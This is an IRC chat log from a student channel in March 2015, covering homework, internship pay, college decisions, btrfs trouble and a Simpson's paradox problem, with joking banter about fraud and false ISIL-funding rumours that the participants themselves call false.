[2015-03-25T22:49:49-0400] <LittleBobbyTables> It's 100% homework
[2015-03-25T22:49:52-0400] <LittleBobbyTables> No doubt about that
[2015-03-25T22:50:03-0400] <LittleBobbyTables> c-e is what he needs done, and that's clearly math
[2015-03-25T22:51:14-0400] <bob_twinkles> eh, a bit
[2015-03-25T22:51:23-0400] <bob_twinkles> it's very googlable if he's lazy though...
[2015-03-25T22:51:43-0400] <LittleBobbyTables> True.
[2015-03-25T22:51:43-0400] <+awe> bob_twinkles: I didn't want to do it because it's boring.
[2015-03-25T22:51:51-0400] <bob_twinkles> ==
[2015-03-25T22:52:13-0400] <bob_twinkles> that and I do respect the honor code at least a little bit =P
[2015-03-25T22:52:38-0400] <LittleBobbyTables> How can you make money if you respect the honor code?
[2015-03-25T22:53:21-0400] <bob_twinkles> 1) don't get kicked out of school
[2015-03-25T22:53:24-0400] <bob_twinkles> 2) actually learn shit
[2015-03-25T22:53:30-0400] <bob_twinkles> 3) get hired
[2015-03-25T22:53:58-0400] <LittleBobbyTables> but the company and school were based on lies
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[2015-03-25T23:21:45-0400] <sdamashek> #endif
[2015-03-25T23:21:47-0400] <sdamashek> lol
[2015-03-25T23:22:41-0400] <Tamini> yo do you need me to introduce you to animesh or something alokpathy 
[2015-03-25T23:22:55-0400] <alokpathy> Nah
[2015-03-25T23:22:57-0400] <alokpathy> XD
[2015-03-25T23:23:19-0400] <jwoglom> what's the point of just idleing in #tjhsst anyways
[2015-03-25T23:23:24-0400] <sdamashek> #ifdef HAVE_HELP/* unless we wanna be *really* cryptic */
[2015-03-25T23:23:26-0400] <sdamashek> -_-
[2015-03-25T23:24:14-0400] <alokpathy> jwoglom: I sometimes participate sorta
[2015-03-25T23:24:16-0400] <alokpathy> Hmm
[2015-03-25T23:24:33-0400] <alokpathy> I guess now that I know Animesh is into CS stuff, I can better impersonate him
[2015-03-25T23:24:39-0400] <alokpathy> I was a bit hesitant earlier.
[2015-03-25T23:25:02-0400] <jwoglom> alokpathy: 29 lines spoken
[2015-03-25T23:25:04-0400] <jwoglom> lol
[2015-03-25T23:25:12-0400] <jwoglom> only 3 today
[2015-03-25T23:25:20-0400] <alokpathy> Shush I'll do somethin
[2015-03-25T23:25:56-0400] <alokpathy> Maybe not today 'cause I actually have things to do xD
[2015-03-25T23:27:51-0400] <Tamini> i showed sdamashek the real animesh tripathy today
[2015-03-25T23:27:53-0400] <Tamini> he like walked next to us
[2015-03-25T23:28:14-0400] <sdamashek> wait you did
[2015-03-25T23:28:22-0400] <sdamashek> what
[2015-03-25T23:28:36-0400] <alokpathy> Tamini: But I am the real Animesh Tripathy
[2015-03-25T23:28:40-0400] <alokpathy> and I don't think I went to TJ today
[2015-03-25T23:28:50-0400] <Tamini> wait the indian kid
[2015-03-25T23:28:52-0400] <Tamini> i was like
[2015-03-25T23:28:55-0400] <Tamini> "oh hi animesh"
[2015-03-25T23:28:59-0400] <Tamini> and you were like "oh that's him"
[2015-03-25T23:29:12-0400] <sdamashek> well, I vaguely recall it
[2015-03-25T23:37:19-0400] <Tamini> dammit
[2015-03-25T23:37:24-0400] <Tamini> i wanted to finish doing homework and play vvvvv 
[2015-03-25T23:37:29-0400] <Tamini> but this is so much more interesting
[2015-03-25T23:37:55-0400] <jwoglom> more interesting than a video game? no way! :P
[2015-03-25T23:57:25-0400] <LittleBobbyTables> http://i.imgur.com/BtjsnkE.jpg
[2015-03-25T23:59:27-0400] <alokpathy> You know there's a problem with your physics class when the teacher hasn't given homework in a month, and when the homework he does give takes literally less than a minute.
[2015-03-25T23:59:54-0400] <Tamini> that sounds like my physics class
[2015-03-25T23:59:55-0400] <Tamini> :P
[2015-03-26T00:00:16-0400] <alokpathy> Oh gosh
[2015-03-26T00:00:34-0400] <bob_twinkles> thank you based dell
[2015-03-26T00:00:40-0400] <bob_twinkles> he hasn't really assigned homework all year <3
[2015-03-26T00:00:49-0400] <alokpathy> lol Physics C in our school used to be one of the hardest courses
[2015-03-26T00:00:56-0400] <alokpathy> until this one teacher retired
[2015-03-26T00:00:59-0400] <alokpathy> and her replacement is like
[2015-03-26T00:01:02-0400] <alokpathy> the exact opposite
[2015-03-26T00:01:14-0400] <alokpathy> in terms of rigor
[2015-03-26T00:01:19-0400] <LittleBobbyTables> You know you do well in a class when homework is worth 25% of your final grade, you do none of it, and end the class with an 81%
[2015-03-26T00:01:32-0400] <alokpathy> lel
[2015-03-26T00:04:25-0400] <Tamini> i feel bad though bob_twinkles 
[2015-03-26T00:04:35-0400] <Tamini> i feel like if he assigned work i would actually do things
[2015-03-26T00:04:36-0400] <LittleBobbyTables> Why
[2015-03-26T00:04:47-0400] <alokpathy> Is he a good teacher?
[2015-03-26T00:05:37-0400] Mode is +nt
[2015-03-26T00:05:49-0400] <LittleBobbyTables> Doesn't the github pack have a uhh
[2015-03-26T00:05:52-0400] <LittleBobbyTables> wutsit
[2015-03-26T00:05:57-0400] <LittleBobbyTables> easeus thing?
[2015-03-26T00:06:37-0400] <bob_twinkles> alokpathy: no
[2015-03-26T00:06:39-0400] <bob_twinkles> well
[2015-03-26T00:06:41-0400] <bob_twinkles> yea
[2015-03-26T00:06:47-0400] <bob_twinkles> he
[2015-03-26T00:06:52-0400] <bob_twinkles> 's not a coherent teacher
[2015-03-26T00:06:57-0400] <bob_twinkles> but he usually gets to the point eventually
[2015-03-26T00:07:03-0400] <alokpathy> Ah, okay.
[2015-03-26T00:07:12-0400] <LittleBobbyTables> alokpathy: I have a question for you. 
[2015-03-26T00:07:14-0400] <Tamini> well um
[2015-03-26T00:07:18-0400] <bob_twinkles> he also occasionally confuses himself and just stares at the board in silence for like 2 minutes
[2015-03-26T00:07:18-0400] <Tamini> he's apparently better for us
[2015-03-26T00:07:20-0400] <LittleBobbyTables> Is it gay to suck another dudes dick for 25 bucks
[2015-03-26T00:07:23-0400] <bob_twinkles> that's also pretty good
[2015-03-26T00:07:28-0400] <Tamini> because first period says he's pretty bad
[2015-03-26T00:07:31-0400] <Tamini> LittleBobbyTables; yes
[2015-03-26T00:07:32-0400] <+awe> LittleBobbyTables: That's misleading.
[2015-03-26T00:07:36-0400] <Hyper> LittleBobbyTables: $25 is $25
[2015-03-26T00:07:44-0400] <+awe> Tamini: Is it gay to pay another dude to give you a blowjob for $25?
[2015-03-26T00:07:56-0400] <jwoglom> awe, asking the important questions
[2015-03-26T00:08:06-0400] <alokpathy> LittleBobbyTables: Why are you asking me this? XD
[2015-03-26T00:08:19-0400] <LittleBobbyTables> It's relevant to the conversation awe and I are having
[2015-03-26T00:08:23-0400] <Tamini> awe: yes
[2015-03-26T00:08:36-0400] <+awe> LittleBobbyTables: In other news, I got paid $10 to talk about myself for two hours today.
[2015-03-26T00:08:43-0400] <alokpathy> wat
[2015-03-26T00:08:45-0400] <Tamini> oh yay
[2015-03-26T00:08:45-0400] <alokpathy> How?
[2015-03-26T00:08:46-0400] <LittleBobbyTables> That's less than minimum wage.
[2015-03-26T00:08:47-0400] <Tamini> how did that happen
[2015-03-26T00:08:53-0400] <+awe> It also wasn't work.
[2015-03-26T00:08:53-0400] <jwoglom> child labor laws!!
[2015-03-26T00:09:04-0400] <jwoglom> demand that extra $4.50!
[2015-03-26T00:09:18-0400] <LittleBobbyTables> I'm pretty sure
[2015-03-26T00:09:21-0400] <LittleBobbyTables> That I'm the only state
[2015-03-26T00:09:24-0400] <+awe> jwoglom: Massachusetts minimum wage is like $9 right now.
[2015-03-26T00:09:26-0400] <LittleBobbyTables> That has a minimum wage that high
[2015-03-26T00:09:34-0400] <jwoglom> awe: well then, $8 :P
[2015-03-26T00:09:36-0400] <+awe> It'll be 10 soon.
[2015-03-26T00:09:44-0400] <+awe> (Next year, I think).
[2015-03-26T00:09:50-0400] <jwoglom> $7.25 in virginia
[2015-03-26T00:09:52-0400] <+awe> And honestly, the conversation was one I would've enjoyed having for free, and also was a conversation I really needed to have.
[2015-03-26T00:10:00-0400] <LittleBobbyTables> I get paid more than nearly all my friends, and almost as much as my mom.
[2015-03-26T00:10:04-0400] <jwoglom> what were the circumstances?
[2015-03-26T00:10:16-0400] <LittleBobbyTables> But, according to the company I work for, I'm super cheap, because I'm less than 1% of what they normally pay people.
[2015-03-26T00:10:26-0400] <+awe> A sociology PhD student was doing an interview for his thesis project.
[2015-03-26T00:10:44-0400] <+awe> LittleBobbyTables: Your mom must really not make a lot then.
[2015-03-26T00:10:56-0400] <LittleBobbyTables> Or do I just make a ton?
[2015-03-26T00:11:09-0400] <+awe> LittleBobbyTables: Because they probably pay people ~100k/year, which means that you make 1k/year, which means your mom makes like 1,500/year.
[2015-03-26T00:11:20-0400] • awe: won't have none of your hyperbole.
[2015-03-26T00:11:29-0400] <Hyper> that's a little bit under the poverty line :P
[2015-03-26T00:11:33-0400] <Hyper> just a tad
[2015-03-26T00:11:33-0400] <LittleBobbyTables> err
[2015-03-26T00:11:37-0400] <LittleBobbyTables> I forgot a 0
[2015-03-26T00:11:38-0400] <LittleBobbyTables> apparently
[2015-03-26T00:11:45-0400] <+awe> You probably get paid around 15-20% of their normal pay.
[2015-03-26T00:11:45-0400] <LittleBobbyTables> Keyboards are hard.
[2015-03-26T00:12:12-0400] <LittleBobbyTables> 20% of the person that's been working there a year, 10% or less to the people working 5+ years.
[2015-03-26T00:12:29-0400] <jwoglom> why do they pay you lower, then?
[2015-03-26T00:12:38-0400] <+awe> He's got no credentials and is completely unproven.
[2015-03-26T00:12:45-0400] <+awe> Therefore, according to market economies, he's worth less.
[2015-03-26T00:12:46-0400] <LittleBobbyTables> Pretty much
[2015-03-26T00:12:52-0400] <LittleBobbyTables> Also because I'm an intern
[2015-03-26T00:13:04-0400] <jwoglom> oh ok, makes sense
[2015-03-26T00:13:08-0400] <LittleBobbyTables> And hourly, not salaried
[2015-03-26T00:13:39-0400] <+awe> LittleBobbyTables: average annual salary at Microsoft Research for a researcher with a PhD including stock and cash bonus is $180,000/year.
[2015-03-26T00:13:46-0400] <LittleBobbyTables> http://www.amazon.com/gp/product/B00OBRFFAS
[2015-03-26T00:13:49-0400] <LittleBobbyTables> awe can you buy me this pls
[2015-03-26T00:13:57-0400] <+awe> Lol, no.
[2015-03-26T00:14:00-0400] <+awe> $360.
[2015-03-26T00:14:14-0400] <LittleBobbyTables> but it's 28% off
[2015-03-26T00:14:24-0400] <+awe> That's great, but still no.
[2015-03-26T00:14:28-0400] <+awe> You make more money than I do.
[2015-03-26T00:14:29-0400] <jwoglom> LittleBobbyTables: ask your company to pay you more :P
[2015-03-26T00:14:42-0400] <LittleBobbyTables> jwoglom: once I'm an official employee, they probably will.
[2015-03-26T00:14:55-0400] <LittleBobbyTables> I've been there like 7 months, I can't do that yet.
[2015-03-26T00:15:06-0400] <jwoglom> or you could *accidentally* break your current hard drive and immediately need a new one
[2015-03-26T00:15:31-0400] <LittleBobbyTables> What about this awe, http://www.amazon.com/gp/product/B00OAJ412U?ref_=od_aui_detailpages00&redirect=true&psc=1&pldnSite=1?
[2015-03-26T00:15:36-0400] <LittleBobbyTables> jwoglom: I already have three computers.
[2015-03-26T00:15:42-0400] <+awe> I have zero income right now.
[2015-03-26T00:15:46-0400] <LittleBobbyTables> :(
[2015-03-26T00:16:02-0400] <jwoglom> yeah, asking college and high school-aged students for money probably won't get you anywhere :P
[2015-03-26T00:16:35-0400] <bob_twinkles> wow simplex noise works so much better when you use doubles like you're supposed to
[2015-03-26T00:16:42-0400] <bob_twinkles> instead of trying to be clever and do it all in integer math
[2015-03-26T00:16:52-0400] <bob_twinkles> whodathunkit
[2015-03-26T00:16:55-0400] <LittleBobbyTables> Who woulda thought that doing things the way you're supposed to do things is easier
[2015-03-26T00:17:11-0400] <bob_twinkles> I know right?
[2015-03-26T00:18:21-0400] <+awe> Once I'm in grad school, I'll get stipends. ;)
[2015-03-26T00:20:35-0400] <LittleBobbyTables> Apparently, fraud is one of the easiest crimes to do, and can make you a ton of money/
[2015-03-26T00:20:42-0400] <+awe> This is true!
[2015-03-26T00:20:48-0400] <+awe> My mom's friend is in prison for real estate fraud!
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[2015-03-26T00:20:51-0400] <+awe> She made a lot of money doing it though.
[2015-03-26T00:21:06-0400] <LittleBobbyTables> Do it on a computer, and GL getting caught
[2015-03-26T00:21:22-0400] <bob_twinkles> that's not even true =P
[2015-03-26T00:22:02-0400] <LittleBobbyTables> 3k in a week while doing nothing except making a website
[2015-03-26T00:22:09-0400] <LittleBobbyTables> 100% true
[2015-03-26T00:22:35-0400] <grantwu> asdfjk;l
[2015-03-26T00:22:46-0400] <grantwu> My code didn't compile on the handin servers
[2015-03-26T00:22:50-0400] <grantwu> I don't know why
[2015-03-26T00:23:30-0400] <LittleBobbyTables> You did it wrong
[2015-03-26T00:24:21-0400] <grantwu> handin servers have been known to bug
[2015-03-26T00:24:23-0400] <grantwu> but...
[2015-03-26T00:24:46-0400] <grantwu> What bugs me is the fact that there's no error message
[2015-03-26T00:24:54-0400] <grantwu> Just "failed to load under sources.cm"
[2015-03-26T00:25:26-0400] <LittleBobbyTables> Did you try loading it somewhere else?
[2015-03-26T00:25:26-0400] <+awe> LittleBobbyTables: If I give you emotional support while you commit fraud, can you launder money to me?
[2015-03-26T00:26:10-0400] <LittleBobbyTables> If I were to commit fraud, I wouldn't be talking to any of you.
[2015-03-26T00:26:15-0400] <grantwu> LittleBobbyTables: Are you trying to troll me, or give legitimate advice?
[2015-03-26T00:26:28-0400] <LittleBobbyTables> grantwu: both
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[2015-03-26T00:26:43-0400] <LittleBobbyTables> lol
[2015-03-26T00:27:06-0400] <+awe> LittleBobbyTables: I can set up a fake identity to provide your other fake identity with emotional support.
[2015-03-26T00:27:53-0400] <LittleBobbyTables> Emotional support just so I can launder you money.... dunno if worth
[2015-03-26T00:42:06-0400] <+awe> LittleBobbyTables: totally worth.
[2015-03-26T00:42:12-0400] <+awe> LittleBobbyTables: I'm really good at being supportive. :)
[2015-03-26T00:42:22-0400] <LittleBobbyTables> lol
[2015-03-26T00:45:41-0400] <LittleBobbyTables> super troopers is greart
[2015-03-26T00:45:44-0400] <LittleBobbyTables> great
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[2015-03-26T06:21:23-0400] <JacobEdelman> Gmorning
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[2015-03-26T11:03:45-0400] <grantwu> http://www.anandtech.com/show/9104/asus-zenbook-ux305-review
[2015-03-26T11:04:09-0400] <grantwu> really interesting laptop. $700 is a great price point
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[2015-03-26T11:18:57-0400] <nezorg> fuck btrfs
[2015-03-26T12:07:24-0400] <grantwu> Lol, what happened?
[2015-03-26T12:21:52-0400] <apothy> College decision season has started .-.
[2015-03-26T12:22:01-0400] <grantwu> apothy: It ok I berieve in you
[2015-03-26T12:22:18-0400] <apothy> tq
[2015-03-26T12:22:28-0400] <apothy> I pray
[2015-03-26T12:22:41-0400] <apothy> to the God I don't really believe in
[2015-03-26T12:22:53-0400] <grantwu> Pray to the FSM
[2015-03-26T12:23:01-0400] <grantwu> Finite State Machine huehuehue
[2015-03-26T12:24:31-0400] <grantwu> apothy: Any decisions out yet?
[2015-03-26T12:24:38-0400] <apothy> grantwu: For me, no
[2015-03-26T12:24:48-0400] <apothy> UChicago, Caltech, and MIT came out a while ago
[2015-03-26T12:24:53-0400] <apothy> like last week or something.
[2015-03-26T12:27:51-0400] <grantwu> Two days for CMU :P
[2015-03-26T12:29:19-0400] <nezorg> grantwu: i can't mount my root fs :(
[2015-03-26T12:29:30-0400] <apothy> grantwu: ya
[2015-03-26T12:30:24-0400] <grantwu> nezorg: :/ Well, I don't know too much, but if you want, you could join ##cclub on freenode and ask for help!
[2015-03-26T12:30:41-0400] <nezorg> or just #btrfs :P
[2015-03-26T12:31:05-0400] <nezorg> i'm gonna try mounting it in recovery but i don't have access to a linux disk atm
[2015-03-26T12:31:18-0400] <grantwu> :/ true
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[2015-03-26T13:00:23-0400] <nezorg> aaaaaaand now my fs is randomly working again
[2015-03-26T13:00:24-0400] <nezorg> wat
[2015-03-26T13:01:36-0400] <grantwu> That's btrfs for you!
[2015-03-26T13:01:41-0400] <grantwu> #zfsmasterrace
[2015-03-26T13:02:38-0400] <nezorg> :P
[2015-03-26T13:02:44-0400] <nezorg> do you actually use zfs?
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[2015-03-26T13:05:33-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T00:24:21-0400] <grantwu> handin servers have been known to bug
[2015-03-26T00:24:23-0400] <grantwu> but...
[2015-03-26T00:24:46-0400] <grantwu> What bugs me is the fact that there's no error message
[2015-03-26T00:24:54-0400] <grantwu> Just "failed to load under sources.cm"
[2015-03-26T00:25:26-0400] <LittleBobbyTables> Did you try loading it somewhere else?
[2015-03-26T00:25:26-0400] <+awe> LittleBobbyTables: If I give you emotional support while you commit fraud, can you launder money to me?
[2015-03-26T00:26:10-0400] <LittleBobbyTables> If I were to commit fraud, I wouldn't be talking to any of you.
[2015-03-26T00:26:14-0400] <grantwu> LittleBobbyTables: Are you trying to troll me, or give legitimate advice?
[2015-03-26T00:26:28-0400] <LittleBobbyTables> grantwu: both
[2015-03-26T00:26:43-0400] <LittleBobbyTables> lol
[2015-03-26T00:27:06-0400] <+awe> LittleBobbyTables: I can set up a fake identity to provide your other fake identity with emotional support.
[2015-03-26T00:27:53-0400] <LittleBobbyTables> Emotional support just so I can launder you money.... dunno if worth
[2015-03-26T00:42:05-0400] <+awe> LittleBobbyTables: totally worth.
[2015-03-26T00:42:12-0400] <+awe> LittleBobbyTables: I'm really good at being supportive. :)
[2015-03-26T00:42:22-0400] <LittleBobbyTables> lol
[2015-03-26T00:45:41-0400] <LittleBobbyTables> super troopers is greart
[2015-03-26T00:45:44-0400] <LittleBobbyTables> great
[2015-03-26T06:21:23-0400] <JacobEdelman> Gmorning
[2015-03-26T11:03:45-0400] <grantwu> http://www.anandtech.com/show/9104/asus-zenbook-ux305-review
[2015-03-26T11:04:09-0400] <grantwu> really interesting laptop. $700 is a great price point
[2015-03-26T11:18:57-0400] <nezorg> fuck btrfs
[2015-03-26T12:07:24-0400] <grantwu> Lol, what happened?
[2015-03-26T12:21:53-0400] <apothy> College decision season has started .-.
[2015-03-26T12:22:01-0400] <grantwu> apothy: It ok I berieve in you
[2015-03-26T12:22:18-0400] <apothy> tq
[2015-03-26T12:22:28-0400] <apothy> I pray
[2015-03-26T12:22:41-0400] <apothy> to the God I don't really believe in
[2015-03-26T12:22:53-0400] <grantwu> Pray to the FSM
[2015-03-26T12:23:01-0400] <grantwu> Finite State Machine huehuehue
[2015-03-26T12:24:31-0400] <grantwu> apothy: Any decisions out yet?
[2015-03-26T12:24:38-0400] <apothy> grantwu: For me, no
[2015-03-26T12:24:48-0400] <apothy> UChicago, Caltech, and MIT came out a while ago
[2015-03-26T12:24:53-0400] <apothy> like last week or something.
[2015-03-26T12:27:51-0400] <grantwu> Two days for CMU :P
[2015-03-26T12:29:19-0400] <nezorg> grantwu: i can't mount my root fs :(
[2015-03-26T12:29:31-0400] <apothy> grantwu: ya
[2015-03-26T12:30:24-0400] <grantwu> nezorg: :/ Well, I don't know too much, but if you want, you could join ##cclub on freenode and ask for help!
[2015-03-26T12:30:41-0400] <nezorg> or just #btrfs :P
[2015-03-26T12:31:05-0400] <nezorg> i'm gonna try mounting it in recovery but i don't have access to a linux disk atm
[2015-03-26T12:31:18-0400] <grantwu> :/ true
[2015-03-26T13:00:23-0400] <nezorg> aaaaaaand now my fs is randomly working again
[2015-03-26T13:00:24-0400] <nezorg> wat
[2015-03-26T13:01:36-0400] <grantwu> That's btrfs for you!
[2015-03-26T13:01:41-0400] <grantwu> #zfsmasterrace
[2015-03-26T13:02:38-0400] <nezorg> :P
[2015-03-26T13:02:45-0400] <nezorg> do you actually use zfs?
[2015-03-26T13:03:30-0400] <grantwu> T.T
[2015-03-26T13:03:32-0400] <grantwu> :'(
[2015-03-26T13:03:34-0400] <grantwu> No.
[2015-03-26T13:03:44-0400] <grantwu> Damn licenses.
[2015-03-26T13:05:37-0400] Mode is +nt
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[2015-03-26T13:19:23-0400] <JacobEdelman> I have rearrived
[2015-03-26T13:23:43-0400] <+awe> Hi, JacobEdelman.
[2015-03-26T13:24:13-0400] <+awe> apothy: did you get into any of those?
[2015-03-26T13:24:41-0400] <grantwu> awe: I believe he was implying he didn't apply
[2015-03-26T13:24:45-0400] <grantwu> "for me, no"
[2015-03-26T13:24:58-0400] <+awe> I think he applied to MIT, at least.
[2015-03-26T13:25:00-0400] <+awe> Or maybe not.
[2015-03-26T13:25:39-0400] <JacobEdelman> he's in orchestra or something now
[2015-03-26T13:26:23-0400] • awe: forgets that you people are in school during the day.
[2015-03-26T13:26:29-0400] <JacobEdelman> lol
[2015-03-26T13:26:37-0400] <+awe> My class that I usually have now was cancelled for today.
[2015-03-26T13:26:39-0400] <JacobEdelman> I mean, he has 2 studyhalls in the afternoon
[2015-03-26T13:26:59-0400] <JacobEdelman> I have 2 classes that are effectively studyhalls in the afternoon also
[2015-03-26T13:29:31-0400] <+awe> I have my three hour class today though.
[2015-03-26T13:29:35-0400] <+awe> And it's extended for two hours today.
[2015-03-26T13:29:40-0400] <+awe> 4-9 :)
[2015-03-26T13:46:42-0400] <apothy> awe: I didn't apply to MIT :P
[2015-03-26T13:47:02-0400] <apothy> Wait what class is 3 hours long?
[2015-03-26T13:55:57-0400] <+awe> Grassroots Community Organizing.
[2015-03-26T13:56:01-0400] <+awe> I have it once a week from 4-7.
[2015-03-26T13:56:05-0400] <+awe> (on Thursdays)
[2015-03-26T13:57:39-0400] <apothy> I see.
[2015-03-26T13:57:46-0400] <apothy> What do you do there?
[2015-03-26T13:59:25-0400] <+awe> Well, it's partly a class geared towards learning the skills necessary to do grassroots community organizing work, and it's partly a class geared towards furthering your understanding of yourself in a meaningful way.
[2015-03-26T14:00:18-0400] <apothy> Ah, cool
[2015-03-26T14:07:28-0400] <JacobEdelman> wow
[2015-03-26T14:08:06-0400] <JacobEdelman> cool class
[2015-03-26T14:08:10-0400] <JacobEdelman> your kinda class
[2015-03-26T14:09:16-0400] <+awe> Yeah, it's awesome.
[2015-03-26T14:17:58-0400] <+awe> apothy, JacobEdelman: does pinto bean still go to CS club?
[2015-03-26T14:18:11-0400] <JacobEdelman> not really
[2015-03-26T14:18:13-0400] <JacobEdelman> why?
[2015-03-26T14:18:38-0400] <+awe> I was curious.
[2015-03-26T14:18:40-0400] <JacobEdelman> (we have ~10 people each meeting I think)
[2015-03-26T14:20:14-0400] <apothy> awe: Santiago?
[2015-03-26T14:20:25-0400] <+awe> Yeah, Pinto Bean.
[2015-03-26T14:20:30-0400] <apothy> And, yeah, about 10 per meeting.
[2015-03-26T14:20:33-0400] <apothy> He stopped coming. Idk why.
[2015-03-26T14:20:53-0400] <+awe> That's unfortunate.
[2015-03-26T14:26:10-0400] <JacobEdelman> okay, I fold
[2015-03-26T14:26:15-0400] <JacobEdelman> ycombinater is amazing
[2015-03-26T14:26:37-0400] <JacobEdelman> they fund... everything
[2015-03-26T14:26:41-0400] <JacobEdelman> that is good
[2015-03-26T14:27:57-0400] <apothy> Funding everything isn't good. What if they funded ISIS?
[2015-03-26T14:28:02-0400] <apothy> tsk tsk
[2015-03-26T14:36:22-0400] <+awe> They do.
[2015-03-26T14:36:30-0400] <+awe> They fund ISIL.
[2015-03-26T14:38:22-0400] <apothy> Wait actually?
[2015-03-26T14:38:29-0400] <+awe> No.
[2015-03-26T14:38:35-0400] <+awe> At least, I certainly hope not.
[2015-03-26T14:38:39-0400] <apothy> Oh phew
[2015-03-26T14:39:08-0400] <apothy> Let's continue trying to convince JacobEdelman that YCombinator funds ISIL
[2015-03-26T14:39:14-0400] <apothy> JacobEdelman: They actually do.
[2015-03-26T14:41:30-0400] <+awe> JacobEdelman: Why is funding startups amazing?
[2015-03-26T14:42:04-0400] <+awe> It's not like it's out of the goodness of their hearts. YCombinator has a vested interest in the companies they fund.
[2015-03-26T14:42:12-0400] <+awe> It's motivated by profit.
[2015-03-26T14:42:19-0400] <apothy> woo, capitalism
[2015-03-26T14:42:43-0400] <+awe> All a company like YCombinator does is extract the surplus value from the labor of the workers.
[2015-03-26T14:43:51-0400] <+awe> By almost all measures (excluding the measure of profit itself), they are the absolute least productive companies in existence.
[2015-03-26T14:45:36-0400] <JacobEdelman> awe: its just that they fund so many companies I know
[2015-03-26T14:45:37-0400] <JacobEdelman> also
[2015-03-26T14:46:00-0400] <JacobEdelman> there is one type of cell sometimes in the human body which does not age and can reproduce indefinitely
[2015-03-26T14:46:09-0400] <JacobEdelman> sadly, its cancer
[2015-03-26T14:46:10-0400] <JacobEdelman> oh well
[2015-03-26T14:46:27-0400] <JacobEdelman> why do our diseases get the super powers?
[2015-03-26T14:46:48-0400] <+awe> Also stem cells.
[2015-03-26T14:46:50-0400] <JacobEdelman> I want to be able to control peoples emotions, fly through the air, be immortal, and have cause huge public news whenever I appear
[2015-03-26T14:47:07-0400] <JacobEdelman> but noooooo, instead diseases get to do all that
[2015-03-26T14:47:19-0400] <+awe> Well, stem cells can't reproduce indefinitely.
[2015-03-26T14:47:22-0400] <+awe> But they don't age.
[2015-03-26T14:47:46-0400] <+awe> Erm.
[2015-03-26T14:47:47-0400] <+awe> Other way around.
[2015-03-26T14:47:54-0400] <+awe> They age, but they can also reproduce indefinitely.
[2015-03-26T14:49:49-0400] <JacobEdelman> Hmmm... Hydra don't age
[2015-03-26T14:50:08-0400] <JacobEdelman> And they have stunning tentacles
[2015-03-26T14:50:25-0400] <JacobEdelman> And they can regenerate
[2015-03-26T14:50:32-0400] <JacobEdelman> But they have one fatal weakness
[2015-03-26T14:50:34-0400] <JacobEdelman> Sunlight
[2015-03-26T14:50:48-0400] <+awe> Indeed.
[2015-03-26T14:54:14-0400] <+awe> JacobEdelman: http://people.cs.umass.edu/~mcgregor/240S15/hwextra.pdf
[2015-03-26T14:54:18-0400] <+awe> JacobEdelman: extra credit homework assignment.
[2015-03-26T15:05:36-0400] <apothy> JacobEdelman: Algo?
[2015-03-26T15:05:38-0400] <apothy> oops
[2015-03-26T15:05:40-0400] <apothy> awe: ^
[2015-03-26T15:05:48-0400] <apothy> Oh, wait, probability
[2015-03-26T15:06:56-0400] <+awe> Yeah.
[2015-03-26T15:08:37-0400] <fwilson> hey, did you guys know that Y Combinator funds ISIL?
[2015-03-26T15:09:27-0400] <jwoglom> FCPS also funds ISIS!!
[2015-03-26T15:09:33-0400] <apothy> fwilson: wao raelly?
[2015-03-26T15:09:35-0400] <apothy> sheet
[2015-03-26T15:09:44-0400] <apothy> jwoglom: >:O
[2015-03-26T15:09:53-0400] <apothy> It's okay
[2015-03-26T15:09:53-0400] <fwilson> apothy: yeah
[2015-03-26T15:09:54-0400] <apothy> WWP does too
[2015-03-26T15:10:12-0400] <apothy> awebot: funds ISIL too.
[2015-03-26T15:10:17-0400] <fwilson> wow
[2015-03-26T15:10:24-0400] <apothy> And so does
[2015-03-26T15:10:25-0400] <apothy> PdnCo
[2015-03-26T15:10:28-0400] <apothy> PdgnCo*
[2015-03-26T15:10:30-0400] <apothy> :OOOO
[2015-03-26T15:29:39-0400] <grantwu> awe: Isn't it "Simpson's Paradox" ?
[2015-03-26T15:29:55-0400] <+awe> There's a typo in one mention of it, yeah.
[2015-03-26T15:30:34-0400] <grantwu> I see two actually but w/e
[2015-03-26T15:31:03-0400] <+awe> Oh, yeah.
[2015-03-26T15:31:04-0400] <+awe> There are two.
[2015-03-26T15:31:08-0400] <+awe> There's one correct mention, and two typos.
[2015-03-26T15:31:11-0400] <+awe> Oh well.
[2015-03-26T15:31:14-0400] <+awe> 2.1 is super easy.
[2015-03-26T15:32:51-0400] <+awe> If Xa,c = Xb,c, Ya,c > Yb,c and if Xa,t = Xb,t, Ya,t > Yb,t. In order for the paradox to hold, Ya,c + Ya,t < Yb,c + Yb,t then and since those two relationships indicate that the opposite is true, it must be false.
[2015-03-26T15:33:48-0400] <+awe> I'm not sure how to do 2.2 though.
[2015-03-26T15:34:36-0400] <+awe> I mean, as a rigorous mathematical argument anyway.
[2015-03-26T15:34:40-0400] <+awe> I can obviously do trial-and-error.
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[2015-03-26T15:39:04-0400] <grantwu> I... don't want to think about it
[2015-03-26T15:39:17-0400] <z3t> fwilson :(
[2015-03-26T15:40:11-0400] <fwilson> :(
[2015-03-26T15:40:13-0400] <fwilson> D:
[2015-03-26T15:40:15-0400] <fwilson> :(
[2015-03-26T15:41:56-0400] <apothy> wat
[2015-03-26T15:42:03-0400] <apothy> Why the sadness? :(
[2015-03-26T15:42:42-0400] <grantwu> Wait, besides from apothy and bob_twinkles, who else is HS senior?
[2015-03-26T15:42:56-0400] <apothy> I think we're it.
[2015-03-26T15:43:01-0400] <apothy> Wow. I thought there'd be more.
[2015-03-26T15:43:08-0400] <apothy> Well, zrl might be a senior.
[2015-03-26T15:43:16-0400] <apothy> and maybe fwilson 
[2015-03-26T15:43:29-0400] <grantwu> fwilson: How old art thou
[2015-03-26T15:43:36-0400] <apothy> awebot: is an HS senior
[2015-03-26T15:43:43-0400] <zrl> i would be a junior
[2015-03-26T15:43:53-0400] <z3t> class of 2016 ftw
[2015-03-26T15:44:05-0400] <apothy> zrl: Would be?
[2015-03-26T15:44:13-0400] <zrl> tested out of hs
[2015-03-26T15:44:19-0400] <apothy> Oh, cool
[2015-03-26T15:44:24-0400] <apothy> So you're in college now?
[2015-03-26T15:44:27-0400] <apothy> Or working?
[2015-03-26T15:44:28-0400] <fwilson> i'm class of 2106 :(
[2015-03-26T15:44:34-0400] <z3t> aw :(
[2015-03-26T15:44:35-0400] <apothy> fwilson: Wow you're far back :P
[2015-03-26T15:44:40-0400] <fwilson> apothy: yeah :(
[2015-03-26T15:44:43-0400] <apothy> fwilson: r u evn born
[2015-03-26T15:44:57-0400] <fwilson> apothy: i was born in 95 years 
[2015-03-26T15:44:59-0400] <apothy> b0rn*
